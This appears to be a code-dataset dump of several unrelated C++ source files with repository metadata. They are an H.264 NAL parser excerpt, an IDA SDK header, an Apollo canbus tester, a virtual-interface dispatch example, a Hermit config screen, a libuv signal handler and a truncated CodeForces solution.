this->seq.begin()->crop_bot) << 1);
QTV_MSG_PRIO2(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->31.cropdy [%x] cropdx[%x]\n",
cropdy, cropdx);
QTV_MSG_PRIO2(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->31.Height [%x] Width[%x]\n", height,
width);
}
this->seq.eraseall();
this->pic.eraseall();
return validate_profile_and_level(profile_id, level_id);;
}
/* ======================================================================
FUNCTION
H264_Utils::parse_first_h264_input_buffer
DESCRIPTION
parse first h264 input buffer
PARAMETERS
OMX_IN OMX_BUFFERHEADERTYPE* buffer.
RETURN VALUE
true if success
false otherwise
========================================================================== */
OMX_U32 H264_Utils::parse_first_h264_input_buffer(OMX_IN OMX_BUFFERHEADERTYPE *
buffer,
OMX_U32
size_of_nal_length_field)
{
OMX_U32 c1, c2, c3, curr_ptr = 0;
OMX_U32 i, j, aSize[4], size = 0;
OMX_U32 header_len = 0;
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264 clip, NAL length field %d\n",
size_of_nal_length_field);
if (buffer == NULL) {
QTV_MSG_PRIO(QTVDIAG_GENERAL, QTVDIAG_PRIO_ERROR,
"Error - buffer is NULL\n");
}
if (size_of_nal_length_field == 0) {
/* Start code with a lot of 0x00 before 0x00 0x00 0x01
Need to move pBuffer to the first 0x00 0x00 0x00 0x01 */
c1 = 1;
c2 = buffer->pBuffer[curr_ptr++];
c3 = buffer->pBuffer[curr_ptr++];
do {
if (curr_ptr >= buffer->nFilledLen) {
QTV_MSG_PRIO(QTVDIAG_GENERAL,
QTVDIAG_PRIO_ERROR,
"ERROR: parse_first_h264_input_buffer - Couldn't find the first 2 NAL (SPS and PPS)\n");
return 0;
}
c1 = c2;
c2 = c3;
c3 = buffer->pBuffer[curr_ptr++];
} while (c1 || c2 || c3 == 0);
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"curr_ptr = %d\n", curr_ptr);
if (curr_ptr > 4) {
// There are unnecessary 0x00
QTV_MSG_PRIO(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"Remove unnecessary 0x00 at SPS\n");
memmove(buffer->pBuffer, &buffer->pBuffer[curr_ptr - 4],
buffer->nFilledLen - curr_ptr - 4);
}
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"dat clip, NAL length field %d\n",
size_of_nal_length_field);
QTV_MSG_PRIO(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"Start code SPS 0x00 00 00 01\n");
curr_ptr = 4;
/* Start code 00 00 01 */
for (OMX_U8 i = 0; i < 2; i++) {
c1 = 1;
c2 = buffer->pBuffer[curr_ptr++];
c3 = buffer->pBuffer[curr_ptr++];
do {
if (curr_ptr >= buffer->nFilledLen) {
QTV_MSG_PRIO(QTVDIAG_GENERAL,
QTVDIAG_PRIO_ERROR,
"ERROR: parse_first_h264_input_buffer - Couldn't find the first 2 NAL (SPS and PPS)\n");
break;
}
c1 = c2;
c2 = c3;
c3 = buffer->pBuffer[curr_ptr++];
} while (c1 || c2 || c3 != 1);
}
header_len = curr_ptr - 4;
} else {
/* NAL length clip */
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"NAL length clip, NAL length field %d\n",
size_of_nal_length_field);
/* SPS size */
for (i = 0; i < SIZE_NAL_FIELD_MAX - size_of_nal_length_field;
i++) {
aSize[SIZE_NAL_FIELD_MAX - 1 - i] = 0;
}
for (j = 0; i < SIZE_NAL_FIELD_MAX; i++, j++) {
aSize[SIZE_NAL_FIELD_MAX - 1 - i] = buffer->pBuffer[j];
}
size = (uint32) (*((uint32 *) (aSize)));
header_len = size + size_of_nal_length_field;
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"OMX - SPS length %d\n", header_len);
/* PPS size */
for (i = 0; i < SIZE_NAL_FIELD_MAX - size_of_nal_length_field;
i++) {
aSize[SIZE_NAL_FIELD_MAX - 1 - i] = 0;
}
for (j = header_len; i < SIZE_NAL_FIELD_MAX; i++, j++) {
aSize[SIZE_NAL_FIELD_MAX - 1 - i] = buffer->pBuffer[j];
}
size = (uint32) (*((uint32 *) (aSize)));
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"OMX - PPS size %d\n", size);
header_len += size + size_of_nal_length_field;
}
return header_len;
}
OMX_U32 H264_Utils::check_header(OMX_IN OMX_BUFFERHEADERTYPE * buffer,
OMX_U32 sizeofNAL, bool & isPartial,
OMX_U32 headerState)
{
byte coef1, coef2, coef3;
uint32 pos = 0;
uint32 nal_len = 0, nal_len2 = 0;
uint32 sizeofNalLengthField = 0;
uint32 zero_count;
OMX_U32 eRet = -1;
OMX_U8 *nal1_ptr = NULL, *nal2_ptr = NULL;
isPartial = true;
QTV_MSG_PRIO(QTVDIAG_GENERAL, QTVDIAG_PRIO_LOW,
"H264_Utils::check_header ");
if (!sizeofNAL) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_HIGH,
"check_header: start code %d",
buffer->nFilledLen);
// Search start_code_prefix_one_3bytes (0x000001)
coef2 = buffer->pBuffer[pos++];
coef3 = buffer->pBuffer[pos++];
do {
if (pos >= buffer->nFilledLen) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_ERROR,
"Error at extract rbsp line %d",
__LINE__);
return eRet;
}
coef1 = coef2;
coef2 = coef3;
coef3 = buffer->pBuffer[pos++];
} while (coef1 || coef2 || coef3 != 1);
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_HIGH,
"check_header: start code got fisrt NAL %d", pos);
nal1_ptr = (OMX_U8 *) & buffer->pBuffer[pos];
// Search start_code_prefix_one_3bytes (0x000001)
if (pos + 2 < buffer->nFilledLen) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_HIGH,
"check_header: start code looking for second NAL %d",
pos);
isPartial = false;
coef2 = buffer->pBuffer[pos++];
coef3 = buffer->pBuffer[pos++];
do {
if (pos >= buffer->nFilledLen) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_HIGH,
"Error at extract rbsp line %d",
__LINE__);
isPartial = true;
break;
}
coef1 = coef2;
coef2 = coef3;
coef3 = buffer->pBuffer[pos++];
} while (coef1 || coef2 || coef3 != 1);
}
if (!isPartial) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_ERROR,
"check_header: start code two nals in one buffer %d",
pos);
nal2_ptr = (OMX_U8 *) & buffer->pBuffer[pos];
if (((nal1_ptr[0] & 0x1f) == NALU_TYPE_SPS)
&& ((nal2_ptr[0] & 0x1f) == NALU_TYPE_PPS)) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_ERROR,
"check_header: start code two nals in one buffer SPS+PPS %d",
pos);
eRet = 0;
} else if (((nal1_ptr[0] & 0x1f) == NALU_TYPE_SPS) && (buffer->nFilledLen < 512)) {
eRet = 0;
}
} else {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_HIGH,
"check_header: start code partial nal in one buffer %d",
pos);
if (headerState == 0
&& ((nal1_ptr[0] & 0x1f) == NALU_TYPE_SPS)) {
eRet = 0;
} else if (((nal1_ptr[0] & 0x1f) == NALU_TYPE_PPS)) {
eRet = 0;
} else
eRet = -1;
}
} else {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_ERROR,
"check_header: size nal %d", sizeofNAL);
/* This is the case to play multiple NAL units inside each access unit */
/* Extract the NAL length depending on sizeOfNALength field */
sizeofNalLengthField = sizeofNAL;
nal_len = 0;
while (sizeofNAL--) {
nal_len |= buffer->pBuffer[pos++] << (sizeofNAL << 3);
}
if (nal_len >= buffer->nFilledLen) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_ERROR,
"Error at extract rbsp line %d",
__LINE__);
return eRet;
}
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_ERROR,
"check_header: size nal got fist NAL %d",
nal_len);
nal1_ptr = (OMX_U8 *) & buffer->pBuffer[pos];
if ((nal_len + sizeofNalLengthField) < buffer->nFilledLen) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_ERROR,
"check_header: getting second NAL %d",
buffer->nFilledLen);
isPartial = false;
pos += nal_len;
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_ERROR,
"check_header: getting second NAL position %d",
pos);
sizeofNAL = sizeofNalLengthField;
nal_len2 = 0;
while (sizeofNAL--) {
nal_len2 |=
buffer->pBuffer[pos++] << (sizeofNAL << 3);
}
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_ERROR,
"check_header: getting second NAL %d",
nal_len2);
if (nal_len + nal_len2 + 2 * sizeofNalLengthField >
buffer->nFilledLen) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_ERROR,
"Error at extract rbsp line %d",
__LINE__);
return eRet;
}
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_ERROR,
"check_header: size nal got second NAL %d",
nal_len);
nal2_ptr = (OMX_U8 *) & buffer->pBuffer[pos];
}
if (!isPartial) {
QTV_MSG_PRIO(QTVDIAG_GENERAL, QTVDIAG_PRIO_ERROR,
"check_header: size nal partial nal ");
if (((nal1_ptr[0] & 0x1f) == NALU_TYPE_SPS)
&& ((nal2_ptr[0] & 0x1f) == NALU_TYPE_PPS)) {
eRet = 0;
}
} else {
QTV_MSG_PRIO(QTVDIAG_GENERAL, QTVDIAG_PRIO_ERROR,
"check_header: size nal full header");
if (headerState == 0
&& ((nal1_ptr[0] & 0x1f) == NALU_TYPE_SPS)) {
eRet = 0;
} else if (((nal1_ptr[0] & 0x1f) == NALU_TYPE_PPS)) {
eRet = 0;
} else
eRet = -1;
}
}
return eRet;
}
/*===========================================================================
FUNCTION:
validate_profile_and_level
DESCRIPTION:
This function validate the profile and level that is supported.
INPUT/OUTPUT PARAMETERS:
uint32 profile
uint32 level
RETURN VALUE:
false it it's not supported
true otherwise
SIDE EFFECTS:
None.
===========================================================================*/
bool H264_Utils::validate_profile_and_level(uint32 profile, uint32 level)
{
QTV_MSG_PRIO2(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264 profile %d, level %d\n", profile, level);
if ((m_default_profile_chk &&
profile != BASELINE_PROFILE &&
profile != MAIN_PROFILE &&
profile != HIGH_PROFILE) || (m_default_level_chk && level > MAX_SUPPORTED_LEVEL)
) {
return false;
}
return true;
}
| 36.23384 | 159 | 0.482974 | Zuli |
78c8234b9f8b1270d9a14bab448f53cbe95e1d77 | 2,196 | hpp | C++ | Ponce/include_IDA6.8/ints.hpp | ZhuHuiBeiShaDiao/Ponce | fc25268592027af0c71c898f87a347418c5ad475 | [
"BSL-1.0"
] | 1 | 2019-08-01T03:43:28.000Z | 2019-08-01T03:43:28.000Z | Ponce/include_IDA6.8/ints.hpp | ZhuHuiBeiShaDiao/Ponce | fc25268592027af0c71c898f87a347418c5ad475 | [
"BSL-1.0"
] | null | null | null | Ponce/include_IDA6.8/ints.hpp | ZhuHuiBeiShaDiao/Ponce | fc25268592027af0c71c898f87a347418c5ad475 | [
"BSL-1.0"
] | null | null | null | /*
* Interactive disassembler (IDA).
* Copyright (c) 1990-2015 Hex-Rays
* ALL RIGHTS RESERVED.
*
*/
#ifndef _INTS_HPP
#define _INTS_HPP
#pragma pack(push, 1) // IDA uses 1 byte alignments!
/*! \file ints.hpp
\brief Functions that deal with the predefined comments
*/
class insn_t;
class WorkReg;
//--------------------------------------------------------------------
// P R E D E F I N E D C O M M E N T S
//--------------------------------------------------------------------
/// Get predefined comment.
/// \param cmd current instruction information
/// \param buf buffer for the comment
/// \param bufsize size of the output buffer
/// \return size of comment or -1
idaman ssize_t ida_export get_predef_insn_cmt(
const insn_t &cmd,
char *buf,
size_t bufsize);
/// Get predefined comment.
/// \param info text string with description of operand and register values.
/// This string consists of equations:
/// - reg=value ...
/// where reg may be any word register name,
/// or Op1,Op2 - for first or second operands
/// \param wrktyp icode of instruction to get comment about
/// \param buf buffer for the comment
/// \param bufsize size of the output buffer
/// \return size of comment or -1
idaman ssize_t ida_export get_predef_cmt(
const char *info,
int wrktyp,
char *buf,
size_t bufsize);
/// Get predefined VxD function name.
/// \param vxdnum number of VxD
/// \param funcnum number of function in the VxD
/// \param buf buffer for the comment
/// \param bufsize size of the output buffer
/// \return comment or NULL
#ifdef _IDP_HPP
inline char *idaapi get_vxd_func_name(
int vxdnum,
int funcnum,
char *buf,
size_t bufsize)
{
buf[0] = '\0';
ph.notify(ph.get_vxd_name, vxdnum, funcnum, buf, bufsize);
return buf[0] ? buf : NULL;
}
#endif
//--------------------------------------------------------------------
// Private definitions
//-------------------------------------------------------------------
#pragma pack(pop)
#endif // _INTS_HPP
| 26.457831 | 80 | 0.54827 | ZhuHuiBeiShaDiao |
78cd1d75d7bfc08cde3dff94ccc4b454fce253a4 | 1,978 | cc | C++ | modules/canbus/tools/canbus_tester.cc | DavidSplit/apollo-3.0 | 9f82838e857e4c9146952946cbc34b9f35098deb | [
"Apache-2.0"
] | 6 | 2019-10-11T07:57:49.000Z | 2022-02-23T15:23:41.000Z | modules/canbus/tools/canbus_tester.cc | DavidSplit/apollo-3.0 | 9f82838e857e4c9146952946cbc34b9f35098deb | [
"Apache-2.0"
] | null | null | null | modules/canbus/tools/canbus_tester.cc | DavidSplit/apollo-3.0 | 9f82838e857e4c9146952946cbc34b9f35098deb | [
"Apache-2.0"
] | 12 | 2019-10-11T07:57:49.000Z | 2022-03-16T05:13:00.000Z | /******************************************************************************
* Copyright 2017 The Apollo Authors. All Rights Reserved.
* Modifications Copyright (c) 2018 LG Electronics, Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
#include "gflags/gflags.h"
#include "modules/common/adapters/adapter_gflags.h"
#include "modules/common/log.h"
#include "ros/include/ros/ros.h"
#include "std_msgs/String.h"
#include "modules/canbus/common/canbus_gflags.h"
#include "modules/common/util/file.h"
#include "modules/control/proto/control_cmd.pb.h"
int main(int32_t argc, char **argv) {
google::InitGoogleLogging(argv[0]);
google::ParseCommandLineFlags(&argc, &argv, true);
FLAGS_alsologtostderr = true;
ros::init(argc, argv, "canbus_tester");
ros::NodeHandle nh;
ros::Publisher pub =
nh.advertise<std_msgs::String>(FLAGS_control_command_topic, 100);
apollo::control::ControlCommand control_cmd;
if (!apollo::common::util::GetProtoFromFile(FLAGS_canbus_test_file,
&control_cmd)) {
AERROR << "failed to load file: " << FLAGS_canbus_test_file;
return -1;
}
std_msgs::String msg;
control_cmd.SerializeToString(&msg.data);
ros::Rate loop_rate(1); // frequency
while (ros::ok()) {
pub.publish(msg);
ros::spinOnce(); // yield
loop_rate.sleep();
}
return 0;
}
| 34.103448 | 79 | 0.651668 | DavidSplit |
78cea65154305a9c303ce88d6ef546511ff59376 | 1,940 | cpp | C++ | examples/dispatch/dispatch.cpp | jstaursky/libviface | 67bc973e369869df5c24aa654541c6295e49f889 | [
"Apache-2.0"
] | 38 | 2016-11-21T08:05:11.000Z | 2022-03-24T14:27:05.000Z | examples/dispatch/dispatch.cpp | jstaursky/libviface | 67bc973e369869df5c24aa654541c6295e49f889 | [
"Apache-2.0"
] | 7 | 2018-03-12T02:25:04.000Z | 2022-03-23T08:22:19.000Z | examples/dispatch/dispatch.cpp | jstaursky/libviface | 67bc973e369869df5c24aa654541c6295e49f889 | [
"Apache-2.0"
] | 21 | 2016-01-20T04:20:40.000Z | 2022-03-29T08:16:49.000Z | #include <iostream>
#include <viface/viface.hpp>
#include <viface/utils.hpp>
using namespace std;
class MyDispatcher
{
private:
int count = 0;
public:
bool handler(string const& name, uint id, vector<uint8_t>& packet) {
cout << "+++ Received packet " << dec << count;
cout << " from interface " << name;
cout << " (" << id << ") of size " << packet.size();
cout << " and CRC of 0x" << hex << viface::utils::crc32(packet);
cout << endl;
cout << viface::utils::hexdump(packet) << endl;
this->count++;
return true;
}
};
/**
* This example shows how to setup a dispatcher for a set of virtual interfaces.
* This uses a class method for the callback in order to show this kind of
* usage, but any function using the same signature as dispatcher_cb type
* can be used.
*
* To help with the example you can send a few packets to the created virtual
* interfaces using scapy, wireshark, libtins or any other.
*/
int main(int argc, const char* argv[])
{
cout << "Starting dispatch example ..." << endl;
try {
viface::VIface iface1("viface%d");
iface1.up();
cout << "Interface " << iface1.getName() << " up!" << endl;
viface::VIface iface2("viface%d");
iface2.up();
cout << "Interface " << iface2.getName() << " up!" << endl;
// Call dispatch
set<viface::VIface*> myifaces = {&iface1, &iface2};
MyDispatcher printer;
viface::dispatcher_cb mycb = bind(
&MyDispatcher::handler,
&printer,
placeholders::_1,
placeholders::_2,
placeholders::_3
);
cout << "Calling dispath ..." << endl;
viface::dispatch(myifaces, mycb);
} catch(exception const & ex) {
cerr << ex.what() << endl;
return -1;
}
return 0;
} | 28.115942 | 80 | 0.554124 | jstaursky |
78cff282ce4f82341a4f076bea8b95b1b02a3902 | 7,218 | cpp | C++ | hermit/cfgscr.cpp | ancientlore/hermit | 0b6b5b3e364fe9a7080517a7f3ddb8cdb03f5b14 | [
"MIT"
] | 1 | 2020-07-15T19:39:49.000Z | 2020-07-15T19:39:49.000Z | hermit/cfgscr.cpp | ancientlore/hermit | 0b6b5b3e364fe9a7080517a7f3ddb8cdb03f5b14 | [
"MIT"
] | null | null | null | hermit/cfgscr.cpp | ancientlore/hermit | 0b6b5b3e364fe9a7080517a7f3ddb8cdb03f5b14 | [
"MIT"
] | null | null | null | // Config Scroller class
// Copyright (C) 1996 Michael D. Lore All Rights Reserved
#include <stdio.h>
#include <io.h>
#include "cfgscr.h"
#include "registry.h"
#include "console/colors.h"
#include "cfgdlg.h"
#include "console/inputdlg.h"
#include "ptr.h"
#define COMMAND_SIZE 1024
ConfigScroller::ConfigScroller (Screen& screen, int x, int y, int w, int h) :
Scroller (screen, x, y, w, h, 0), mExitKey (KB_ESC), mDialog (0),
mDllHist ("RegSvr History"), mRegHist ("Cmd Export History")
{
setScrollable (&mScrollCfg);
}
ConfigScroller::~ConfigScroller ()
{
}
int ConfigScroller::processEvent (const Event& event)
{
int key;
int table;
switch (event.key) {
case KB_ESC:
mExitKey = KB_ESC;
postEvent (Event (EV_QUIT));
break;
case KB_ENTER:
// Launch command edit window
myScreen.sendEvent (Event(EV_STATUS_MSG, (DWORD) ""));
key = mScrollCfg.getCursor ();
switch (key) {
case 0: // "Select Color Scheme"
table = getColorTable ();
selectColorTable (++table);
myScreen.sendEvent (Event (EV_COLOR_CHANGE));
if (mDialog != NULL)
mDialog->draw ();
draw ();
break;
case 1: // "Export Custom Commands"
exportReg ();
break;
case 2: // "Import Custom Commands"
importReg ();
break;
case 3: // "Register DLL Server"
registerServer ();
break;
case 4: // "Unregister DLL Server"
unregisterServer ();
break;
default:
break;
}
// drawLine (mCursor);
break;
default:
return Scroller::processEvent (event);
}
return 1;
}
void ConfigScroller::exportReg ()
{
int exitCode = KB_ESC;
char path[512];
*path = 0;
{
InputDialog dlg (myScreen, "Export Custom Commands", "Enter the pathname:",
path, 511, &mRegHist);
dlg.run ();
exitCode = dlg.getExitCode ();
}
if (exitCode != KB_ESC) {
if (_access (path, 0) == 0)
if (myScreen.ask ("Confirm File Replace", "Overwrite the existing file?") == 0)
return;
FILE *file = fopen (path, "w");
if (file == NULL) {
myScreen.sendEvent (Event(EV_STATUS_MSG, (DWORD) "Could not create file."));
return;
}
for (int i = 0; i < 2; i++) {
int st, fn;
if (i == 0) {
st = 'A';
fn = 'Z';
}
else if (i == 1) {
st = '0';
fn = '9';
}
for (char c = st; c <= fn; c++) {
try {
// Open registry key
RegistryKey k (HKEY_CURRENT_USER, HKCU_SUBKEY_HERMIT "\\Commands", KEY_READ);
char valname[2];
valname[0] = c;
valname[1] = '\0';
// try to read the current value
char *value = 0;
DWORD type;
try {
value = k.queryValue (valname, type);
if (type == REG_SZ && value != 0 && value[0] != '\0') {
fprintf (file, "%c,%s\n", c, value);
}
delete [] value;
}
catch (const std::exception&) {
}
}
catch (const std::exception&) {
}
}
}
fclose (file);
myScreen.sendEvent (Event(EV_STATUS_MSG, (DWORD) "Commands exported."));
}
}
void ConfigScroller::importReg ()
{
int exitCode = KB_ESC;
char path[512];
*path = 0;
{
InputDialog dlg (myScreen, "Import Custom Commands", "Enter the pathname:",
path, 511, &mRegHist);
dlg.run ();
exitCode = dlg.getExitCode ();
}
if (exitCode != KB_ESC) {
myScreen.sendEvent (Event(EV_STATUS_MSG, (DWORD) importCommands (path)));
}
}
const char *ConfigScroller::importCommands (const char *path)
{
FILE *file = fopen (path, "r");
if (file == NULL)
return "Could not open file";
ArrayPtr<char> str = new char [COMMAND_SIZE + 3];
if (str == 0)
throw AppException (WHERE, ERR_OUT_OF_MEMORY);
char *status = 0;
while (fgets (str, COMMAND_SIZE + 3, file) != NULL) {
// Remove trailing whitespace
int n = (int) strlen (str);
while (n > 0 && (str[n - 1] == '\n' || str[n - 1] == '\t' || str[n - 1] == ' ')) {
str[n - 1] = '\0';
n--;
}
// If string is empty, just ignore it
if (str[0] == '\0')
continue;
// Uppercase the first letter
str[0] = toupper (str[0]);
// Make sure the command format is [A-Z,0-9],
if ((!(str[0] >= 'A' && str[0] <= 'Z') &&
!(str[0] >= '0' && str[0] <= '9')) || str[1] != ',') {
status = "A read error occurred.";
break;
}
// Create the value name string
char valname[2];
valname[0] = str[0];
valname[1] = '\0';
// Save to registry
try {
// Open registry key
RegistryKey k (HKEY_CURRENT_USER, HKCU_SUBKEY_HERMIT "\\Commands", KEY_READ | KEY_WRITE);
k.setValue (valname, &str[2]);
}
catch (const std::exception&) {
status = "Error saving key to registry";
break;
}
}
if (ferror (file) != 0)
status = "A read error occurred.";
if (status == 0) {
// Set initialized state (actually no reason...we use Commands key)
#if 0
try {
RegistryKey k (HKEY_CURRENT_USER, HKCU_SUBKEY_HERMIT "\\Initialized", KEY_READ | KEY_WRITE);
}
catch (const std::exception&) {
}
#endif
// Set message
status = "Commands imported.";
}
fclose (file);
return status;
}
void ConfigScroller::registerServer ()
{
int exitCode = KB_ESC;
char dllpath[512];
*dllpath = 0;
{
InputDialog dlg (myScreen, "Register DLL Server", "Enter the DLL pathname:",
dllpath, 511, &mDllHist);
dlg.run ();
exitCode = dlg.getExitCode ();
}
if (exitCode != KB_ESC) {
HINSTANCE hInst = LoadLibrary (dllpath);
if (hInst == NULL) {
myScreen.sendWinErrStatusMsg ("Cannot load DLL");
return;
}
FARPROC dllEntryPoint;
dllEntryPoint = GetProcAddress (hInst, "DllRegisterServer");
if (dllEntryPoint == NULL) {
myScreen.sendWinErrStatusMsg ("Cannot load DllRegisterServer");
FreeLibrary (hInst);
return;
}
if (FAILED ((*dllEntryPoint) ()))
myScreen.sendEvent (Event(EV_STATUS_MSG, (DWORD) "The registration function failed."));
else
myScreen.sendEvent (Event(EV_STATUS_MSG, (DWORD) "Server registered!"));
FreeLibrary (hInst);
}
}
void ConfigScroller::unregisterServer ()
{
int exitCode = KB_ESC;
char dllpath[512];
*dllpath = 0;
{
InputDialog dlg (myScreen, "Unregister DLL Server", "Enter the DLL pathname:",
dllpath, 511, &mDllHist);
dlg.run ();
exitCode = dlg.getExitCode ();
}
if (exitCode != KB_ESC) {
HINSTANCE hInst = LoadLibrary (dllpath);
if (hInst == NULL) {
myScreen.sendWinErrStatusMsg ("Cannot load DLL");
return;
}
FARPROC dllEntryPoint;
dllEntryPoint = GetProcAddress (hInst, "DllUnregisterServer");
if (dllEntryPoint == NULL) {
myScreen.sendWinErrStatusMsg ("Cannot load DllUnregisterServer");
FreeLibrary (hInst);
return;
}
if (FAILED ((*dllEntryPoint) ()))
myScreen.sendEvent (Event(EV_STATUS_MSG, (DWORD) "The unregistration function failed."));
else
myScreen.sendEvent (Event(EV_STATUS_MSG, (DWORD) "Server unregistered!"));
FreeLibrary (hInst);
}
}
// End
| 24.140468 | 98 | 0.578969 | ancientlore |
78d07c65fff7db1019b418e82aa156c9ff68734d | 3,901 | cpp | C++ | core-uv/uv-signal-handler.cpp | plok/katla | aaaeb8baf041bba7259275beefc71c8452a16223 | [
"Apache-2.0"
] | null | null | null | core-uv/uv-signal-handler.cpp | plok/katla | aaaeb8baf041bba7259275beefc71c8452a16223 | [
"Apache-2.0"
] | 3 | 2021-03-25T14:33:22.000Z | 2021-11-16T14:21:56.000Z | core-uv/uv-signal-handler.cpp | plok/katla | aaaeb8baf041bba7259275beefc71c8452a16223 | [
"Apache-2.0"
] | 1 | 2020-08-26T13:32:36.000Z | 2020-08-26T13:32:36.000Z | /***
* Copyright 2019 The Katla Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "uv-signal-handler.h"
#include "uv-event-loop.h"
#include "katla/core/core-errors.h"
#include <signal.h>
namespace katla {
UvSignalHandler::UvSignalHandler(UvEventLoop& eventLoop) :
m_eventLoop(eventLoop)
{
}
UvSignalHandler::~UvSignalHandler() {
assert(!m_handle); // should be destroyed before destruction because it needs event-loop
}
outcome::result<void, Error> UvSignalHandler::init()
{
if (m_handle) {
return Error(katla::make_error_code(katla::CoreErrorCode::AlreadyInitialized));
}
m_handle = new uv_signal_t();
m_handle->data = this;
auto uvEventLoop = m_eventLoop.handle();
auto result = uv_signal_init(uvEventLoop, m_handle);
if (result != 0) {
return Error(katla::make_error_code(katla::CoreErrorCode::InitFailed), uv_strerror(result), uv_err_name(result));
}
return outcome::success();
}
outcome::result<void, Error> UvSignalHandler::close()
{
if (!m_handle) {
return outcome::success();
}
if (!uv_is_closing(reinterpret_cast<uv_handle_t*>(m_handle))) {
uv_close(reinterpret_cast<uv_handle_t*>(m_handle), uv_close_callback);
}
return outcome::success();
}
outcome::result<void, Error> UvSignalHandler::start(Signal signal, std::function<void()> function)
{
if (!m_handle) {
return Error(katla::make_error_code(katla::CoreErrorCode::NotInitialized));
}
m_function = function;
if (signal == Signal::Unknown) {
return Error(katla::make_error_code(katla::CoreErrorCode::InvalidSignal));
}
int uvSignal = -1;
switch (signal) {
case Signal::Unknown: assert(false);
case Signal::Interrupt: uvSignal = SIGINT; break;
case Signal::Hangup: uvSignal = SIGHUP; break;
case Signal::Kill: uvSignal = SIGKILL; break;
case Signal::Stop: uvSignal = SIGSTOP; break;
case Signal::Terminate: uvSignal = SIGTERM; break;
}
auto result = uv_signal_start(m_handle, &uv_signal_handler_callback, uvSignal);
if (result != 0) {
return Error(katla::make_error_code(katla::CoreErrorCode::OperationFailed), uv_strerror(result), uv_err_name(result));
}
return outcome::success();
}
outcome::result<void, Error> UvSignalHandler::stop()
{
if (!m_handle) {
return outcome::success();
}
if (uv_is_active(reinterpret_cast<uv_handle_t*>(m_handle))) {
auto result = uv_signal_stop(m_handle);
if (result != 0) {
return Error(katla::make_error_code(katla::CoreErrorCode::OperationFailed), uv_strerror(result), uv_err_name(result));
}
}
return outcome::success();
}
void UvSignalHandler::callback(int signum)
{
if (m_function) {
m_function();
}
}
void UvSignalHandler::uv_signal_handler_callback(uv_signal_t* handle, int signum)
{
if (handle->data) {
static_cast<UvSignalHandler*>(handle->data)->callback(signum);
}
}
void UvSignalHandler::uv_close_callback(uv_handle_t* handle)
{
assert(handle);
assert(handle->data); // event-loop should close handle before destruction
if (handle->data) {
static_cast<UvSignalHandler*>(handle->data)->deleteHandle();
}
}
void UvSignalHandler::deleteHandle()
{
if (m_handle) {
delete m_handle;
m_handle = nullptr;
}
}
}
| 27.090278 | 130 | 0.683927 | plok |
78d0977a919d966d9f9ca6aec1c4be7b6c4930f4 | 456 | cpp | C++ | CodeForces/Complete/1200-1299/1230B-AniaAndMinimizing.cpp | Ashwanigupta9125/code-DS-ALGO | 49f6cf7d0c682da669db23619aef3f80697b352b | [
"MIT"
] | 36 | 2019-12-27T08:23:08.000Z | 2022-01-24T20:35:47.000Z | CodeForces/Complete/1200-1299/1230B-AniaAndMinimizing.cpp | Ashwanigupta9125/code-DS-ALGO | 49f6cf7d0c682da669db23619aef3f80697b352b | [
"MIT"
] | 10 | 2019-11-13T02:55:18.000Z | 2021-10-13T23:28:09.000Z | CodeForces/Complete/1200-1299/1230B-AniaAndMinimizing.cpp | Ashwanigupta9125/code-DS-ALGO | 49f6cf7d0c682da669db23619aef3f80697b352b | [
"MIT"
] | 53 | 2020-08-15T11:08:40.000Z | 2021-10-09T15:51:38.000Z | #include <iostream>
int main(){
long n, k; std::cin >> n >> k;
std::string s; std::cin >> s;
if(k == 0){std::cout << s << std::endl;}
else if(s.size() == 1){std::cout << "0" << std::endl;}
else{
if(s[0] != '1'){s[0] = '1'; --k;}
for(long p = 1; p < s.size() && k > 0; p++){
if(s[p] == '0'){continue;}
s[p] = '0'; --k;
}
